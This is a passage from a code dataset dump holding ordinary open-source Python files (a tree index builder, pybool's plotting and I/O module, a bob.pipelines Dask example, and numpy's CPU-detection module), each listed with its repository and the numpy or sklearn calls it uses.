node = index_dataset_pb2.IndexNode()\n node.id = id\n node.is_leaf = True\n node.probability = 1.0\n\n kv_item = index_dataset_pb2.KVItem()\n kv_item.key = self._make_key(code)\n kv_item.value = node.SerializeToString()\n self._write_kv(f, kv_item.SerializeToString())\n\n ancessors = self._ancessors(code)\n if len(ancessors) + 1 > max_level:\n max_level = len(ancessors) + 1\n\n for ancessor in ancessors:\n if ancessor not in filter_set:\n node = index_dataset_pb2.IndexNode()\n node.id = id_offset + ancessor # id = id_offset + code\n node.is_leaf = False\n node.probability = 1.0\n kv_item = index_dataset_pb2.KVItem()\n kv_item.key = self._make_key(ancessor)\n kv_item.value = node.SerializeToString()\n self._write_kv(f, kv_item.SerializeToString())\n filter_set.add(ancessor)\n\n tree_meta.branch = self.branch\n tree_meta.height = max_level\n kv_item = index_dataset_pb2.KVItem()\n kv_item.key = '.tree_meta'.encode('utf-8')\n\n kv_item.value = tree_meta.SerializeToString()\n self._write_kv(f, kv_item.SerializeToString())\n\n def _ancessors(self, code):\n ancs = []\n while code > 0:\n code = int((code - 1) / self.branch)\n ancs.append(code)\n return ancs\n\n def _make_key(self, code):\n return str(code).encode('utf-8')\n\n def _write_kv(self, fwr, message):\n fwr.write(struct.pack('i', len(message)))\n fwr.write(message)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"TreeIndexBuiler\")\n parser.add_argument(\n \"--parallel\",\n required=False,\n type=int,\n default=12,\n help=\"parallel nums.\")\n parser.add_argument(\n \"--mode\",\n required=True,\n choices=['by_category', 'by_kmeans'],\n help=\"mode\")\n parser.add_argument(\"--input\", required=True, help=\"input filename\")\n parser.add_argument(\"--output\", required=True, help=\"output filename\")\n\n args = parser.parse_args()\n if args.mode == \"by_category\":\n builder = TreeIndexBuilder()\n builder.build_by_category(args.input, args.output)\n elif args.mode == \"by_kmeans\":\n builder = TreeIndexBuilder()\n builder.tree_init_by_kmeans(args.input, args.output, args.parallel)\n" ]
[ [ "numpy.concatenate", "numpy.array", "sklearn.cluster.KMeans", "numpy.where", "numpy.argsort" ] ]
JohnReid/pybool
[ "7ee0ec1b669ec0259405d3c120ec3fc2827ba397" ]
[ "python/pybool/io.py" ]
[ "#\n# Copyright John Reid 2010, 2011, 2012, 2013\n#\n\n\n\"\"\"\nI/O for boolean regulatory networks.\n\"\"\"\n\n\nimport numpy as N, matplotlib as M, pylab as P, logging, subprocess, os\nfrom cookbook.pylab_utils import layout_sub_plot, pylab_ioff\nfrom . import network, chow_liu_trees\nfrom .analysis import aggregate_possible_regulations, aggregate_possible_thetas, aggregate_possible_inputs\nfrom .analysis import count_possible_regulations, count_possible_thetas, count_possible_inputs\nfrom .analysis import analyse_dependencies\nimport networkx as nx\n\n\ndef output_file(options, filename):\n \"Return a path to the named output file.\"\n return os.path.join(options.output_dir, filename)\n\n\n\ndef ensure_dir_exists(dir):\n \"Make sure a directory exists, making it and its parents if necessary.\"\n if not os.path.exists(dir):\n os.makedirs(dir)\n\n\n\ndef configure_matplotlib_for_tex():\n \"Set up matplotlib parameters for plotting using TeX.\"\n raise ValueError('')\n fig_width_pt = 345.0 # Get this from LaTeX using \\showthe\\columnwidth\n inches_per_pt = 1.0/72.27 # Convert pt to inch\n golden_mean = (N.sqrt(5)-1.0)/2.0 # Aesthetic ratio\n fig_width = fig_width_pt*inches_per_pt # width in inches\n fig_height = fig_width*golden_mean # height in inches\n fig_size = (fig_width,fig_height)\n params = {\n 'backend' : 'ps',\n 'axes.labelsize' : 6,\n 'axes.titlesize' : 6,\n 'text.fontsize' : 6,\n 'legend.fontsize' : 6,\n 'xtick.labelsize' : 4,\n 'ytick.labelsize' : 4,\n 'xtick.direction' : 'out',\n 'ytick.direction' : 'out',\n 'xtick.major.size' : 0,\n 'xtick.minor.size' : 0,\n 'ytick.major.size' : 0,\n 'ytick.minor.size' : 0,\n 'text.usetex' : True,\n 'figure.figsize' : fig_size\n }\n P.rcParams.update(params)\n\n\ndef rgb_as_string(rgb):\n \"@return: A string representing the rgb colour.\"\n return '#%02X%02X%02X' % tuple((rgb * 255).astype(int))\n\n\n\nclass GraphBuilder(object):\n \"\"\"\n Builds graphs representing the information in the meta data.\n \"\"\"\n \n def __init__(self, meta_data, options):\n self.options = options\n \n try:\n import boost.graph as bgl\n except ImportError:\n logging.warning('Cannot import boost.graph python bindings. Will not create network of graph.')\n self.graph = None\n return\n \n self.graph = bgl.Digraph()\n \n # add vertices\n self.name_map = self.graph.add_vertex_property('node_id', 'string')\n self.position_map = self.graph.add_vertex_property('pos', 'string')\n if not options.black_and_white:\n self.color_map = self.graph.add_vertex_property('color', 'string')\n #self.fillcolor_map = self.graph.add_vertex_property('fillcolor', 'string')\n self.shape_map = self.graph.add_vertex_property('shape', 'string')\n self.style_map = self.graph.add_vertex_property('style', 'string')\n self.vertices = [self.graph.add_vertex() for g in xrange(meta_data.G)]\n for g, (v, gene) in enumerate(zip(self.vertices, meta_data.genes)):\n self.name_map[v] = gene\n if g in meta_data.graph_positions: # fix position of node if required\n self.position_map[v] = '%s,%s!' % meta_data.graph_positions[g]\n if not options.black_and_white:\n #self.fillcolor_map[v] = rgb_as_string(meta_data.colours[g])\n self.color_map[v] = rgb_as_string(meta_data.colours[g])\n if g in meta_data.external_inputs:\n self.shape_map[v] = \"box\" # external inputs are different shape\n else:\n self.shape_map[v] = \"circle\"\n #self.style_map[v] = \"filled\"\n \n self.arrowhead_map = self.graph.add_edge_property('arrowhead', 'string')\n self.arrowsize_map = self.graph.add_edge_property('arrowsize', 'float')\n self.edgestyle_map = self.graph.add_edge_property('style', 'string')\n\n \n def add_edge(self, src, dst, activatory):\n e = self.graph.add_edge(self.vertices[src], self.vertices[dst])\n if activatory:\n self.arrowhead_map[e] = 'normal'\n self.arrowsize_map[e] = 1.5\n self.edgestyle_map[e] = '-open triangle 90'\n else:\n self.arrowhead_map[e] = 'tee'\n self.arrowsize_map[e] = 1.5\n self.edgestyle_map[e] = '-triangle 90 reversed'\n return e\n\n\n\n\n\nclass NetworkXGraphBuilder(object):\n \"\"\"\n Builds graphs representing the information in the meta data using Python package networkx.\n \"\"\"\n \n def __init__(self, meta_data, options):\n self.options = options\n \n self.graph = nx.MultiDiGraph()\n \n # add vertices\n for g, gene in enumerate(meta_data.genes):\n attributes = {\n 'label' : gene.name,\n # 'style' : 'filled',\n }\n if gene.position: # fix position of node if required\n attributes['pos'] = '%s,%s!' % gene.position\n if not options.black_and_white:\n attributes['color'] = rgb_as_string(N.asarray(gene.color))\n if g in meta_data.external_inputs:\n attributes['shape'] = \"box\" # external inputs are different shape\n else:\n attributes['shape'] = \"circle\"\n self.graph.add_node(g, **attributes)\n\n \n def add_edge(self, src, dst, activatory, dashed):\n if activatory:\n attributes = NetworkXGraphBuilder._activatory_attributes.copy()\n else:\n attributes = NetworkXGraphBuilder._repressive_attributes.copy()\n if not self.options.use_latex:\n attributes['style'] = '' # only use style for latex output\n if dashed:\n attributes['style'] += ',dashed'\n self.graph.add_edge(src, dst, **attributes)\n\n _activatory_attributes = {\n 'arrowhead' : 'normal',\n 'arrowsize' : 1.5,\n 'style' : '-open triangle 90'\n }\n\n _repressive_attributes = {\n 'arrowhead' : 'tee',\n 'arrowsize' : 1.5,\n 'style' : '-triangle 90 reversed'\n }\n\n\n\ndef graph_network(net, options):\n \"Create a BGL graph of the network.\"\n \n builder = NetworkXGraphBuilder(net.meta_data, options)\n\n if builder.graph:\n # add edge\n for src, dst in zip(*N.asarray(net.J).nonzero()):\n builder.add_edge(src, dst, net.J[src,dst] > 0, False)\n\n return builder.graph\n\n\n\n\ndef graph_restrictions(meta_data, options, possible_Js=None):\n \"Create a BGL graph of the possible networks.\"\n \n if None == possible_Js:\n possible_Js = meta_data.possible_Js\n \n builder = NetworkXGraphBuilder(meta_data, options)\n\n # add edges\n if builder.graph:\n for src in xrange(meta_data.G):\n for dst in xrange(meta_data.G):\n Js = possible_Js[src,dst]\n dashed = 0 in Js\n \n # add edges\n for J in Js:\n if 0 != J:\n activatory = J > 0\n builder.add_edge(src, dst, activatory, dashed)\n \n return builder.graph\n\n\n_dot2tex_cmd = 'dot2tex --autosize --crop --prog=neato -ftikz --nodeoptions \"ultra thick,minimum size=1cm\" --figonly --tikzedgelabels'\n_neato_cmd = 'neato -Nfontsize=16 -Nwidth=1 -Nheight=1 -Nfixedsize=true -Npenwidth=3 -s.4'\n\ndef write_graph(graph, name, options):\n \"Write the graph as a DOT file and a SVG file.\"\n import networkx as nx\n dot_file = '%s.dot' % name\n nx.write_dot(graph, dot_file)\n if options.use_latex:\n logging.info('Plotting figures using dot2tex and LaTeX tikz package.')\n subprocess.check_call('%s %s > %s.tex' % (_dot2tex_cmd, dot_file, name), shell=True)\n for format in options.formats:\n subprocess.check_call('%s -T%s %s > %s.%s' % (_neato_cmd, format, dot_file, name, format), shell=True)\n\n\ndef plot_network_realisation(net, X, xlabel=False, ylabel=False):\n \"Plot the realisation of the network.\"\n colours = N.ones((X.shape[0], net.meta_data.G, 3))\n for g, (x_col, gene) in enumerate(zip(X.T, net.meta_data.genes)):\n for t, x in enumerate(x_col):\n if x:\n colours[t,g] = gene.color\n P.imshow(colours, interpolation='nearest')\n# linewidth = .2\n# for t in xrange(X.shape[0]+1):\n# P.axhline(y=t-.5, xmin=0, xmax=X.shape[1], color='white', lw=linewidth)\n# for g in xrange(X.shape[1]+1):\n# P.axvline(x=g-.5, ymin=0, ymax=X.shape[0], color='white', lw=linewidth)\n P.xlim((-.5, X.shape[1]-.5))\n P.ylim((X.shape[0]-.5, -.5))\n axes = P.gca()\n if xlabel:\n P.xticks(range(net.meta_data.G), [gene.name for gene in net.meta_data.genes])\n P.setp(P.gca().get_xticklabels(), rotation=45, horizontalalignment='right', fontsize=7)\n for line in axes.get_xticklines():\n line.set_visible(False)\n else:\n P.xticks([], [])\n if ylabel:\n P.ylabel('time', fontsize=8)\n P.setp(P.gca().get_yticklabels(), fontsize=8)\n for line in axes.get_yticklines():\n line.set_visible(False)\n else:\n P.yticks([], [])\n\n\ndef regulation_as_str(r):\n \"Convert a regulatory value to a string.\"\n if -5 == r:\n return '-'\n elif 0 == r:\n return '0'\n elif 1 == r:\n return '+'\n else:\n raise ValueError('Unknown regulation value.')\n\n\ndef centre_string(s, width):\n \"Pad and centre a string to the given width.\"\n length = len(s)\n pre = (width - length) / 2\n post = width - pre - length\n return '%s%s%s' % (' ' * pre, s, ' ' * post)\n\n\n_matrix_entry_width = 6\n\n\ndef regulatory_matrix_as_string(possible_regulations):\n str_possible_regulations = N.empty(possible_regulations.shape, dtype=object)\n for g1 in xrange(possible_regulations.shape[0]):\n for g2 in xrange(possible_regulations.shape[1]):\n pr = list(possible_regulations[g1,g2])\n pr.sort()\n str_possible_regulations[g1,g2] = centre_string(\n '%s' % '/'.join(map(regulation_as_str, pr)),\n _matrix_entry_width\n )\n return str_possible_regulations\n\n\ndef add_gene_headers_to_matrix(genes, matrix, width=5):\n \"Takes a matrix and creates a new one with headers for rows and columns.\"\n result = N.empty((matrix.shape[0]+1, matrix.shape[1]+1), dtype=object)\n result[1:,1:] = matrix\n genes = [centre_string(g.name, _matrix_entry_width) for g in genes]\n result[0,0] = ' ' * _matrix_entry_width\n result[0,1:] = genes\n result[1:,0] = genes\n return result\n\n\ndef summarise_meta_data(meta_data):\n \"Log some information about the network constraint meta data.\"\n logging.info('Have %d genes called: %s', meta_data.G, ','.join(gene.name for gene in meta_data.genes))\n logging.info(\n 'The possible regulatory relationships are:\\n%s', \n str(add_gene_headers_to_matrix(meta_data.genes, regulatory_matrix_as_string(meta_data.possible_Js.T)))\n )\n for g, (gene, thetas, initial_state) in enumerate(zip(meta_data.genes, meta_data.possible_thetas, meta_data.initial_states)):\n if g not in meta_data.external_inputs:\n logging.info(\n 'Gene %7s : initial state %s : constitutive expression %7s',\n gene.name, initial_state, thetas\n )\n for g, gene in enumerate(meta_data.genes):\n if g in meta_data.external_inputs:\n logging.info(\n '%7s is an external input with possible input parameters: %s', \n gene.name, ','.join(map(str, meta_data.possible_input_params[g]))\n )\n logging.info('The conditions to test are: %s', ', '.join(c.name for c in meta_data.conditions))\n\n\n\n\ndef summarise_possible_networks(meta_data, networks):\n \"Log some information about the possible networks.\"\n \n #\n # regulations\n #\n possible_regulations = aggregate_possible_regulations(meta_data, networks)\n str_possible_regulations = regulatory_matrix_as_string(possible_regulations)\n logging.info(\n 'Consistent regulatory relationships in the networks are:\\n%s',\n str(add_gene_headers_to_matrix(meta_data.genes, str_possible_regulations.T))\n )\n \n regulation_counts = count_possible_regulations(meta_data, networks)\n for regulatee, regulatee_counts in zip(meta_data.genes, regulation_counts.T):\n for regulator, counts in zip(meta_data.genes, regulatee_counts):\n if len(counts) > 1:\n logging.info(\n 'How often %7s regulates %7s %s',\n regulator.name,\n regulatee.name,\n ' '.join('%s : %2d%%' % (regulation_as_str(r), 100*c/len(networks)) for r, c in counts.iteritems())\n )\n \n #\n # thetas\n #\n possible_thetas = aggregate_possible_thetas(meta_data, networks)\n theta_counts = count_possible_thetas(meta_data, networks)\n for gene, thetas in zip(meta_data.genes, possible_thetas):\n logging.info('Consistent constitutive expression levels for %7s are %s', gene.name, ','.join(map(str, thetas)))\n for gene, counts in zip(meta_data.genes, theta_counts):\n if len(counts) > 1:\n logging.info(\n 'Counts for constitutive expression levels for %7s are %s',\n gene.name,\n ' '.join('%s : %2d%%' % (t, 100*c/len(networks)) for t, c in counts.iteritems())\n )\n\n #\n # input parameters\n #\n possible_inputs = aggregate_possible_inputs(meta_data, networks)\n input_counts = count_possible_inputs(meta_data, networks)\n for g, input_fn in meta_data.external_inputs.iteritems():\n gene = meta_data.genes[g]\n logging.info(\n 'Consistent input parameters for the external input of %7s are: %s', \n gene.name, ','.join(map(str, possible_inputs[g]))\n )\n for g, input_fn in meta_data.external_inputs.iteritems():\n if len(input_counts[g]) > 1:\n gene = meta_data.genes[g]\n logging.info(\n 'Counts for input parameters for the external input of %7s are %s', \n gene.name, \n ' '.join('%s : %2d%%' % (i, 100*c/len(networks)) for i, c in input_counts[g].iteritems())\n )\n \n #\n # Dependencies where mutual information is positive\n #\n networks_as_features, T, edges = analyse_dependencies(networks)\n for u, v, data in edges:\n I = -data['weight']\n if I > 0.:\n feature1, x1 = network.which_network_feature(meta_data, u)\n feature2, x2 = network.which_network_feature(meta_data, v)\n logging.info(\n 'Mutual information between %s:%s and %s:%s is %.2f',\n network.feature_string(feature1), x1, network.feature_string(feature2), x2, I\n )\n logging.debug(chow_liu_trees.marginal_pair_distribution(networks_as_features, u, v))\n else:\n break\n \n return possible_regulations\n\n\n\n\n@pylab_ioff\ndef plot_network_realisations(net):\n \"Plot the network realisations over all the conditions.\"\n num_cols = len(net.meta_data.conditions)\n fig = P.figure(figsize=(num_cols + 1, 3))\n for i, condition in enumerate(net.meta_data.conditions):\n P.subplot(1, num_cols, i+1)\n P.title(condition.name, fontsize=10)\n X, mismatches = network.evaluate_condition(net, condition)\n logging.debug('Condition: %6s; mismatches=%2d', condition, mismatches)\n plot_network_realisation(net, X, xlabel=True, ylabel=0==i)\n #P.subplots_adjust(left=0, bottom=0, right=1, top=1, wspace=None, hspace=None)\n P.tight_layout()\n return fig\n" ]
[ [ "numpy.ones", "numpy.empty", "numpy.asarray", "numpy.sqrt" ] ]
bioidiap/bob.pipelines
[ "cbefdaf3b384ee11cb26a279281f007adc2d8f19" ]
[ "doc/python/pipeline_example_dask_sge_adaptive.py" ]
[ "import os\nimport shutil\n\nimport numpy\n\nfrom dask.distributed import Client\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.pipeline import make_pipeline\n\nimport bob.pipelines\n\nfrom bob.pipelines.distributed.sge import (\n SGEMultipleQueuesCluster,\n get_resource_requirements,\n)\nfrom bob.pipelines.sample import Sample\n\n\nclass MyTransformer(TransformerMixin, BaseEstimator):\n def transform(self, X, metadata=None):\n # Transform `X` with metadata\n return X\n\n def fit(self, X, y=None):\n pass\n\n def _more_tags(self):\n return {\"stateless\": True, \"requires_fit\": False}\n\n\nclass MyFitTranformer(TransformerMixin, BaseEstimator):\n def __init__(self):\n self._fit_model = None\n\n def transform(self, X, metadata=None):\n # Transform `X`\n return [x @ self._fit_model for x in X]\n\n def fit(self, X):\n self._fit_model = numpy.array([[1, 2], [3, 4]])\n return self\n\n\n# Creating X\nX = numpy.zeros((2, 2))\n# Wrapping X with Samples\nX_as_sample = [Sample(X, key=str(i), metadata=1) for i in range(10)]\n\n# Building an arbitrary pipeline\nmodel_path = \"./dask_tmp\"\nos.makedirs(model_path, exist_ok=True)\npipeline = make_pipeline(MyTransformer(), MyFitTranformer())\n\n# Wrapping with sample, checkpoint and dask\n# NOTE that pipeline.fit will run in `q_short_gpu`\npipeline = bob.pipelines.wrap(\n [\"sample\", \"checkpoint\", \"dask\"],\n pipeline,\n model_path=model_path,\n transform_extra_arguments=((\"metadata\", \"metadata\"),),\n fit_tag=\"q_short_gpu\",\n)\n\n# Creating my cluster obj.\ncluster = SGEMultipleQueuesCluster()\nclient = Client(cluster) # Creating the scheduler\nresources = get_resource_requirements(pipeline)\n\n# Run the task graph in the local computer in a single tread\n# NOTE THAT resources is set in .compute\nX_transformed = pipeline.fit_transform(X_as_sample).compute(\n scheduler=client, resources=resources\n)\n\nshutil.rmtree(model_path)\n" ]
[ [ "numpy.array", "numpy.zeros" ] ]
intel/numpy
[ "1147490663d36b05fad8dcce1e104601c2724560" ]
[ "numpy/distutils/cpuinfo.py" ]
[ "#!/usr/bin/env python\n\"\"\"\ncpuinfo\n\nCopyright 2002 Pearu Peterson all rights reserved,\nPearu Peterson <[email protected]>\nPermission to use, modify, and distribute this software is given under the\nterms of the NumPy (BSD style) license. See LICENSE.txt that came with\nthis distribution for specifics.\n\nNO WARRANTY IS EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.\nPearu Peterson\n\n\"\"\"\nfrom __future__ import division, absolute_import, print_function\n\n__all__ = ['cpu']\n\nimport sys, re, types\nimport os\n\nif sys.version_info[0] >= 3:\n from subprocess import getstatusoutput\nelse:\n from commands import getstatusoutput\n\nimport warnings\nimport platform\n\nfrom numpy.distutils.compat import get_exception\n\ndef getoutput(cmd, successful_status=(0,), stacklevel=1):\n try:\n status, output = getstatusoutput(cmd)\n except EnvironmentError:\n e = get_exception()\n warnings.warn(str(e), UserWarning, stacklevel=stacklevel)\n return False, output\n if os.WIFEXITED(status) and os.WEXITSTATUS(status) in successful_status:\n return True, output\n return False, output\n\ndef command_info(successful_status=(0,), stacklevel=1, **kw):\n info = {}\n for key in kw:\n ok, output = getoutput(kw[key], successful_status=successful_status,\n stacklevel=stacklevel+1)\n if ok:\n info[key] = output.strip()\n return info\n\ndef command_by_line(cmd, successful_status=(0,), stacklevel=1):\n ok, output = getoutput(cmd, successful_status=successful_status,\n stacklevel=stacklevel+1)\n if not ok:\n return\n for line in output.splitlines():\n yield line.strip()\n\ndef key_value_from_command(cmd, sep, successful_status=(0,),\n stacklevel=1):\n d = {}\n for line in command_by_line(cmd, successful_status=successful_status,\n stacklevel=stacklevel+1):\n l = [s.strip() for s in line.split(sep, 1)]\n if len(l) == 2:\n d[l[0]] = l[1]\n return d\n\nclass CPUInfoBase(object):\n \"\"\"Holds CPU information and provides methods for requiring\n the availability of various CPU features.\n \"\"\"\n\n def _try_call(self, func):\n try:\n return func()\n except:\n pass\n\n def __getattr__(self, name):\n if not name.startswith('_'):\n if hasattr(self, '_'+name):\n attr = getattr(self, '_'+name)\n if isinstance(attr, types.MethodType):\n return lambda func=self._try_call,attr=attr : func(attr)\n else:\n return lambda : None\n raise AttributeError(name)\n\n def _getNCPUs(self):\n return 1\n\n def __get_nbits(self):\n abits = platform.architecture()[0]\n nbits = re.compile('(\\d+)bit').search(abits).group(1)\n return nbits\n\n def _is_32bit(self):\n return self.__get_nbits() == '32'\n\n def _is_64bit(self):\n return self.__get_nbits() == '64'\n\nclass LinuxCPUInfo(CPUInfoBase):\n\n info = None\n\n def __init__(self):\n if self.info is not None:\n return\n info = [ {} ]\n ok, output = getoutput('uname -m')\n if ok:\n info[0]['uname_m'] = output.strip()\n try:\n fo = open('/proc/cpuinfo')\n except EnvironmentError:\n e = get_exception()\n warnings.warn(str(e), UserWarning, stacklevel=2)\n else:\n for line in fo:\n name_value = [s.strip() for s in line.split(':', 1)]\n if len(name_value) != 2:\n continue\n name, value = name_value\n if not info or name in info[-1]: # next processor\n info.append({})\n info[-1][name] = value\n fo.close()\n self.__class__.info = info\n\n def _not_impl(self): pass\n\n # Athlon\n\n def _is_AMD(self):\n return self.info[0]['vendor_id']=='AuthenticAMD'\n\n def _is_AthlonK6_2(self):\n return self._is_AMD() and self.info[0]['model'] == '2'\n\n def _is_AthlonK6_3(self):\n return self._is_AMD() and self.info[0]['model'] == '3'\n\n def _is_AthlonK6(self):\n return re.match(r'.*?AMD-K6', self.info[0]['model name']) is not None\n\n def _is_AthlonK7(self):\n return re.match(r'.*?AMD-K7', self.info[0]['model name']) is not None\n\n def _is_AthlonMP(self):\n return re.match(r'.*?Athlon\\(tm\\) MP\\b',\n self.info[0]['model name']) is not None\n\n def _is_AMD64(self):\n return self.is_AMD() and self.info[0]['family'] == '15'\n\n def _is_Athlon64(self):\n return re.match(r'.*?Athlon\\(tm\\) 64\\b',\n self.info[0]['model name']) is not None\n\n def _is_AthlonHX(self):\n return re.match(r'.*?Athlon HX\\b',\n self.info[0]['model name']) is not None\n\n def _is_Opteron(self):\n return re.match(r'.*?Opteron\\b',\n self.info[0]['model name']) is not None\n\n def _is_Hammer(self):\n return re.match(r'.*?Hammer\\b',\n self.info[0]['model name']) is not None\n\n # Alpha\n\n def _is_Alpha(self):\n return self.info[0]['cpu']=='Alpha'\n\n def _is_EV4(self):\n return self.is_Alpha() and self.info[0]['cpu model'] == 'EV4'\n\n def _is_EV5(self):\n return self.is_Alpha() and self.info[0]['cpu model'] == 'EV5'\n\n def _is_EV56(self):\n return self.is_Alpha() and self.info[0]['cpu model'] == 'EV56'\n\n def _is_PCA56(self):\n return self.is_Alpha() and self.info[0]['cpu model'] == 'PCA56'\n\n # Intel\n\n #XXX\n _is_i386 = _not_impl\n\n def _is_Intel(self):\n return self.info[0]['vendor_id']=='GenuineIntel'\n\n def _is_i486(self):\n return self.info[0]['cpu']=='i486'\n\n def _is_i586(self):\n return self.is_Intel() and self.info[0]['cpu family'] == '5'\n\n def _is_i686(self):\n return self.is_Intel() and self.info[0]['cpu family'] == '6'\n\n def _is_Celeron(self):\n return re.match(r'.*?Celeron',\n self.info[0]['model name']) is not None\n\n def _is_Pentium(self):\n return re.match(r'.*?Pentium',\n self.info[0]['model name']) is not None\n\n def _is_PentiumII(self):\n return re.match(r'.*?Pentium.*?II\\b',\n self.info[0]['model name']) is not None\n\n def _is_PentiumPro(self):\n return re.match(r'.*?PentiumPro\\b',\n self.info[0]['model name']) is not None\n\n def _is_PentiumMMX(self):\n return re.match(r'.*?Pentium.*?MMX\\b',\n self.info[0]['model name']) is not None\n\n def _is_PentiumIII(self):\n return re.match(r'.*?Pentium.*?III\\b',\n self.info[0]['model name']) is not None\n\n def _is_PentiumIV(self):\n return re.match(r'.*?Pentium.*?(IV|4)\\b',\n self.info[0]['model name']) is not None\n\n def _is_PentiumM(self):\n return re.match(r'.*?Pentium.*?M\\b',\n self.info[0]['model name']) is not None\n\n def _is_Prescott(self):\n return self.is_PentiumIV() and self.has_sse3()\n\n def _is_Nocona(self):\n return self.is_Intel() \\\n and (self.info[0]['cpu family'] == '6' \\\n or self.info[0]['cpu family'] == '15' ) \\\n and (self.has_sse3() and not self.has_ssse3())\\\n and re.match(r'.*?\\blm\\b', self.info[0]['flags']) is not None\n\n def _is_Core2(self):\n return self.is_64bit() and self.is_Intel() and \\\n re.match(r'.*?Core\\(TM\\)2\\b', \\\n self.info[0]['model name']) is not None\n\n def _is_Itanium(self):\n return re.match(r'.*?Itanium\\b',\n self.info[0]['family']) is not None\n\n def _is_XEON(self):\n return re.match(r'.*?XEON\\b',\n self.info[0]['model name'], re.IGNORECASE) is not None\n\n _is_Xeon = _is_XEON\n\n # Varia\n\n def _is_singleCPU(self):\n return len(self.info) == 1\n\n def _getNCPUs(self):\n return len(self.info)\n\n def _has_fdiv_bug(self):\n return self.info[0]['fdiv_bug']=='yes'\n\n def _has_f00f_bug(self):\n return self.info[0]['f00f_bug']=='yes'\n\n def _has_mmx(self):\n return re.match(r'.*?\\bmmx\\b', self.info[0]['flags']) is not None\n\n def _has_sse(self):\n return re.match(r'.*?\\bsse\\b', self.info[0]['flags']) is not None\n\n def _has_sse2(self):\n return re.match(r'.*?\\bsse2\\b', self.info[0]['flags']) is not None\n\n def _has_sse3(self):\n return re.match(r'.*?\\bpni\\b', self.info[0]['flags']) is not None\n\n def _has_ssse3(self):\n return re.match(r'.*?\\bssse3\\b', self.info[0]['flags']) is not None\n\n def _has_3dnow(self):\n return re.match(r'.*?\\b3dnow\\b', self.info[0]['flags']) is not None\n\n def _has_3dnowext(self):\n return re.match(r'.*?\\b3dnowext\\b', self.info[0]['flags']) is not None\n\nclass IRIXCPUInfo(CPUInfoBase):\n info = None\n\n def __init__(self):\n if self.info is not None:\n return\n info = key_value_from_command('sysconf', sep=' ',\n successful_status=(0, 1))\n self.__class__.info = info\n\n def _not_impl(self): pass\n\n def _is_singleCPU(self):\n return self.info.get('NUM_PROCESSORS') == '1'\n\n def _getNCPUs(self):\n return int(self.info.get('NUM_PROCESSORS', 1))\n\n def __cputype(self, n):\n return self.info.get('PROCESSORS').split()[0].lower() == 'r%s' % (n)\n def _is_r2000(self): return self.__cputype(2000)\n def _is_r3000(self): return self.__cputype(3000)\n def _is_r3900(self): return self.__cputype(3900)\n def _is_r4000(self): return self.__cputype(4000)\n def _is_r4100(self): return self.__cputype(4100)\n def _is_r4300(self): return self.__cputype(4300)\n def _is_r4400(self): return self.__cputype(4400)\n def _is_r4600(self): return self.__cputype(4600)\n def _is_r4650(self): return self.__cputype(4650)\n def _is_r5000(self): return self.__cputype(5000)\n def _is_r6000(self): return self.__cputype(6000)\n def _is_r8000(self): return self.__cputype(8000)\n def _is_r10000(self): return self.__cputype(10000)\n def _is_r12000(self): return self.__cputype(12000)\n def _is_rorion(self): return self.__cputype('orion')\n\n def get_ip(self):\n try: return self.info.get('MACHINE')\n except: pass\n def __machine(self, n):\n return self.info.get('MACHINE').lower() == 'ip%s' % (n)\n def _is_IP19(self): return self.__machine(19)\n def _is_IP20(self): return self.__machine(20)\n def _is_IP21(self): return self.__machine(21)\n def _is_IP22(self): return self.__machine(22)\n def _is_IP22_4k(self): return self.__machine(22) and self._is_r4000()\n def _is_IP22_5k(self): return self.__machine(22) and self._is_r5000()\n def _is_IP24(self): return self.__machine(24)\n def _is_IP25(self): return self.__machine(25)\n def _is_IP26(self): return self.__machine(26)\n def _is_IP27(self): return self.__machine(27)\n def _is_IP28(self): return self.__machine(28)\n def _is_IP30(self): return self.__machine(30)\n def _is_IP32(self): return self.__machine(32)\n def _is_IP32_5k(self): return self.__machine(32) and self._is_r5000()\n def _is_IP32_10k(self): return self.__machine(32) and self._is_r10000()\n\n\nclass DarwinCPUInfo(CPUInfoBase):\n info = None\n\n def __init__(self):\n if self.info is not None:\n return\n info = command_info(arch='arch',\n machine='machine')\n info['sysctl_hw'] = key_value_from_command('sysctl hw', sep='=')\n self.__class__.info = info\n\n def _not_impl(self): pass\n\n def _getNCPUs(self):\n return int(self.info['sysctl_hw'].get('hw.ncpu', 1))\n\n def _is_Power_Macintosh(self):\n return self.info['sysctl_hw']['hw.machine']=='Power Macintosh'\n\n def _is_i386(self):\n return self.info['arch']=='i386'\n def _is_ppc(self):\n return self.info['arch']=='ppc'\n\n def __machine(self, n):\n return self.info['machine'] == 'ppc%s'%n\n def _is_ppc601(self): return self.__machine(601)\n def _is_ppc602(self): return self.__machine(602)\n def _is_ppc603(self): return self.__machine(603)\n def _is_ppc603e(self): return self.__machine('603e')\n def _is_ppc604(self): return self.__machine(604)\n def _is_ppc604e(self): return self.__machine('604e')\n def _is_ppc620(self): return self.__machine(620)\n def _is_ppc630(self): return self.__machine(630)\n def _is_ppc740(self): return self.__machine(740)\n def _is_ppc7400(self): return self.__machine(7400)\n def _is_ppc7450(self): return self.__machine(7450)\n def _is_ppc750(self): return self.__machine(750)\n def _is_ppc403(self): return self.__machine(403)\n def _is_ppc505(self): return self.__machine(505)\n def _is_ppc801(self): return self.__machine(801)\n def _is_ppc821(self): return self.__machine(821)\n def _is_ppc823(self): return self.__machine(823)\n def _is_ppc860(self): return self.__machine(860)\n\n\nclass SunOSCPUInfo(CPUInfoBase):\n\n info = None\n\n def __init__(self):\n if self.info is not None:\n return\n info = command_info(arch='arch',\n mach='mach',\n uname_i='uname_i',\n isainfo_b='isainfo -b',\n isainfo_n='isainfo -n',\n )\n info['uname_X'] = key_value_from_command('uname -X', sep='=')\n for line in command_by_line('psrinfo -v 0'):\n m = re.match(r'\\s*The (?P<p>[\\w\\d]+) processor operates at', line)\n if m:\n info['processor'] = m.group('p')\n break\n self.__class__.info = info\n\n def _not_impl(self): pass\n\n def _is_i386(self):\n return self.info['isainfo_n']=='i386'\n def _is_sparc(self):\n return self.info['isainfo_n']=='sparc'\n def _is_sparcv9(self):\n return self.info['isainfo_n']=='sparcv9'\n\n def _getNCPUs(self):\n return int(self.info['uname_X'].get('NumCPU', 1))\n\n def _is_sun4(self):\n return self.info['arch']=='sun4'\n\n def _is_SUNW(self):\n return re.match(r'SUNW', self.info['uname_i']) is not None\n def _is_sparcstation5(self):\n return re.match(r'.*SPARCstation-5', self.info['uname_i']) is not None\n def _is_ultra1(self):\n return re.match(r'.*Ultra-1', self.info['uname_i']) is not None\n 